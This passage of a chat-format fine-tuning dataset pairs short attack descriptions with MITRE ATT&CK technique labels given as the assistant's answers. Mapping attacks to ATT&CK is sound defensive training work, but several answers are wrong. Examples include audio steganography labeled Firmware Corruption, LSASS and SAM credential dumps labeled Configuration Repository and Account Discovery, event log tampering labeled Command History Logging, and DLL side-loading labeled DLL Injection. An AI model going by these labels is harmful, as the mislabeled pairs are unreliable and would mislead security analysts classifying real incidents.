                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a VPN client to create a persistent tunnel into the corporate network, allowing exfiltration of data through the VPN channel."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team scripts a Kubernetes CronJob that executes a malicious container image to establish C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leverages spearphishing service to deliver payloads via links to compromised websites, aiming to gather authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spyware component reads the Safari Keychain entries to obtain iCloud login details."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages the insecure storage of credentials in Group Policy Preference settings to obtain credential material."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script invoked control.exe with crafted arguments to bypass application whitelist controls and run code with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages Windows event log manipulation to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query SNMP agents to retrieve MIB files, dumping the device's configuration data."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a self‑deleting executable that removes its own files from disk once the payload is delivered."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware drops a script that uses the Windows command `format C:` to completely erase the victim’s primary disk."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee falls for a social engineering call and provides their email credentials to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise sets up a dual‑stage communication link, first using ICMP ping packets to establish contact, then upgrading to a TLS‑wrapped TCP channel."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software reused a previously captured SSH private key to establish a persistent backdoor on the victim's Linux server."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a workstation, the malware encrypts the user's home folder with a hard-coded key and changes file permissions to deny access."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker searches for publicly exposed GitLab repositories and downloads configuration files containing API keys."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged Dropbox's web service to upload sensitive documents from the internal network."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script repeatedly resolves the victim's internal DNS records to gather information about the network layout."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages Mavinject to hijack the Windows Explorer process, allowing it to run arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious scripts output random Base64 blobs to standard output, masking the actual commands being run on the target system."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed command strings in DNS queries that are forwarded through a cloud web service, which then returns responses, establishing a two-way communication tunnel."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvests password hashes from a compromised database and uses a hash cracking tool to generate plaintext passwords, then logs into the web service as legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved registering a malicious assembly via regasm to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a build server, insert malicious code, and then sign the resulting binary with the server's legitimate signing key."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team members read the Windows LSASS memory dump to locate configuration data such as encrypted credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the WMI class Win32_ComputerSystem to examine the manufacturer field for strings like \"VirtualBox\" or \"VMware\"."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors scrape proprietary threat intelligence platforms for zero‑day exploits."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates staff directories and corporate org charts to map out role responsibilities, focusing on roles that can grant access to sensitive systems."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs 'launchctl unload' on a legitimate service and then loads a backdoored version with launchctl to maintain control."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed ARP spoofing to redirect traffic through their device and then performed packet capture to gather sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers deployed ransomware that recursively encrypts files on the victim's hard drive and appends a .locked extension, then displays a ransom note demanding Bitcoin."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages RDP to transfer a custom exploit to a target machine and launch it."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor sets the ImagePath of a custom time provider to point to their payload, ensuring it runs when the time service starts."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a SAM database dump and extracts the list of user account names and password hashes."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a new Windows service that executes a malicious executable at system startup, granting it elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware extracts recent Office files from the user's desktop and caches them before transmission."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a scheduled task to run a Python script that locates and deletes files matching '*_debug.txt' across the system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group sends victims an HTML file that includes a data URI with an obfuscated JavaScript loader; the loader reconstructs a ransomware binary and initiates encryption, an example of HTML smuggling."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets a rogue printer driver with a malicious print processor to maintain persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the SetWindowsHookEx API to monitor and record all user inputs in the graphical user interface."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates an encrypted channel protected by a symmetric key derived from a shared passphrase."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker queries the victim's public API endpoints to enumerate available resources and parameters."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor runs ARP requests and traceroute commands to map out the victim's LAN and understand network segment relationships."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A user’s browser is automatically compromised after visiting a phishing page that contains an embedded exploit targeting an outdated plugin."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a misconfigured identity provider to obtain an application access token, then use it to enumerate user accounts and exfiltrate confidential files via the provider's API."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a DLL side‑loading technique to hijack a legitimate process and run malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages Shodan to locate the victim’s exposed services and collect banner information."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion uses macOS XPC services to coordinate malicious activity across multiple processes without raising alarms."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware establishes outbound connections on port 9999, a port not normally associated with HTTP, to receive encryption keys."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised WordPress plugin to embed a backdoor web shell for ongoing remote control."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor extracts .config files from the application directory and compresses them for later theft."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker scripts the creation of a new account with a random username and disables account lockout policies."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker executes 'dpkg -l' on a Linux system to gather a list of installed packages."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT sets up a Tor hidden service to act as a C2 relay."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a legitimate file‑hosting service's unauthenticated upload endpoint to transfer stolen data."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised firmware image, the attacker performed a firmware downgrade attack to reintroduce known vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An implant uses steganography to hide C2 commands within audio files streamed from a public website."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team leverages a compromised developer's code signing certificate, uploading it to the target machine and registering it for use with signed binaries."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware adds a custom security support provider to the system to achieve autostart execution."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages LC_LOAD_DYLIB addition to a Mach-O executable, causing the system to load a malicious dylib whenever the binary runs."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a malicious patch for a popular game client, embedding a remote access trojan within the binary."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Redirection of victim traffic was performed by hijacking the authoritative DNS records for a target domain."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware scrambles exfiltrated data with a rotating cipher before transmitting it to its server."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used \"kubectl exec\" to modify deployment configurations, enabling persistent malicious containers."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder uses SNMP to pull the device's configuration data from a managed switch, capturing policy rules and admin accounts."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a double extortion technique, encrypting files and threatening to publish them."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker opens an initial reverse shell over TCP, then tunnels a second malicious PowerShell script through an encrypted HTTPS channel to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor sends beacon data over legitimate NTP requests, impersonating time synchronization traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware inspects the BIOS serial number for patterns typical of cloud instances, such as 'EC2' or 'GCE'."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a network scan using nmap to enumerate open ports and services across the corporate subnet."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages containerd to launch a container that harvests environment variables and secrets."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a custom PowerShell module to adjust the Access Control List on the Scheduled Tasks folder, granting the attacker the ability to create hidden tasks."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By appending a space to the filename of a phishing attachment, the attacker ensures the file appears as a harmless document in email clients."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies SMTP traffic, altering email content to embed phishing links while preserving the original subject line."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a misconfigured Google Cloud Storage bucket to retrieve confidential files."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses a technique called AtomBomb to inject malicious code by storing shellcode in an atom table before execution in another process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker pulls stored Wi‑Fi profiles to retrieve SSID passwords from the system."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool extracts Wi‑Fi SSID and BSSID information to pinpoint the device's physical environment."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
